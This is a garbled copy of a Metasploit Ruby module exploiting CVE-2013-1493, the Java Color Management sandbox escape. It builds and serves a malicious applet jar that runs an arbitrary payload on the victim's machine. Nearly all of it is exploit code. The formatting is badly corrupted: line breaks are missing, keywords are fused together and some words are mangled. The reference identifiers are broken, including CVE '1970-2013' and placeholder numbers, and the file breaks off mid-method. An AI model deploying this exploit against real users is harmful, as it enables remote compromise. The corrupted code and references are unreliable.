### This file is part of the Metasploit Framework and may be subject to # redistribution and other cial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use .# http://metasploit.com/##require 'Msf/core' require 'recore' class Metasploit3 <msf: Exploit: RemoteRank = NormalRankinginclude Msf: Exploit: Remote: HttpServer: HTMLinclude Msf: Exploit :: EXEinclude Msf: Exploit: Remote: BrowserAutopwnautopwn_info ({: javascript => false}) def initialize (info ={}) super (update_info (info, 'name' => 'java CMM Remote Code Execution ', 'description' => % q {This module abuses the Color Management classes from a Java Applet to runarbitrary Java code outside of the sandbox as exploited in the wild in Februaryand March of 2013. the vulnerability affects Java version 7u15 and earlier and 6u41and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1systems. this exploit doesn' t bypass click-to-play, so the user must accept the javawarning in order to run the malicious applet .}, 'license '=> MSF_LICENSE, 'author' => ['unknown', # Vulnerability discovery and Exploit 'juan vazquez' # Metasploit module (just ported the published exploit)], 'references '=> [['cve', '1970-2013'], ['ossvdb', '123'], ['bid', '123'], ['url ',' https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493 '], ['Url ',' http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html '], ['Url ',' http://pastie.org/pastes/6581034 '], 'Platform' => ['win', 'java'], 'payload' => {'space' => 20480, 'badchars' => ", 'disablenops' => true}, 'targets' => [['generic (Java Payload) ', {'platform' => 'java ', 'arch '=> ARCH_JAVA}], ['windows x86 (Native Payload)', {'platform' => 'win', 'arch '=> ARCH_X86}], 'defaulttarget' => 1, 'disclosuredate' => 'mar 01 2013 ') enddef setuppath = File. join (Msf: Config. install_root, "data", "exploits ", "Cve-2013-1493", "Init. class) @ init_class = File. open (path, "rb") {| fd. read (fd. stat. size)} path = File. join (Msf: Config. install_root, "data", "exploits", "cve-2013-1493", "Leak. class) @ leak_class = File. open (path, "rb") {| fd. read (fd. stat. size)} path = File. join (Msf: Config. install_root, "data", "exploits", "cve-2013-1493", "MyBufferedImage. class) @ buffered_image_class = File. open (path, "r B ") {| fd. read (fd. stat. size)} path = File. join (Msf: Config. install_root, "data", "exploits", "cve-2013-1493", "MyColorSpace. class) @ color_space_class = File. open (path, "rb") {| fd. read (fd. stat. size)} @ init_class_name = rand_text_alpha ("Init ". length) @ init_class.gsub! ("Init", @ init_class_name) superenddef on_request_uri (cli, request) print_status ("handling request for # {request. uri} ") case request. uriwhen /\. jar $/ijar = payload. encoded_jarjar.add_file ("# {@ init_class_name }. class ", @ init_class) jar. add_file ("Leak. class ", @ leak_class) jar. add_file ("MyBufferedImage. class ", @ buffered_image_class) jar. add_file ("MyColorSpace. class ", @ color_space_class) metasploit_str = rand _ Text_alpha ("metasploit". length) payload_str = rand_text_alpha ("payload". length) jar. entries. each {| entry. name. gsub! ("Metasploit", metasploit_str) entry. name. gsub! ("Payload", payload_str) entry. data = entry. data. gsub ("metasploit", metasploit_str) entry. data = entry. data. gsub ("Payload", payload_str)} jar. build_manifestsend_response (cli, jar, {'content-type' => "application/octet-stream"}) when/\/$/payload = regenerate_payload (cli) if not payloadprint_error ("Failed to generate the payload. ") send_not_found (cli) returnendsend_response_html (cli, generate_html, {'co Ntent-Type '=> 'text/html'}) elsesend_redirect (cli, get_resource () + '/',") endenddef generate_htmlhtml = % Q |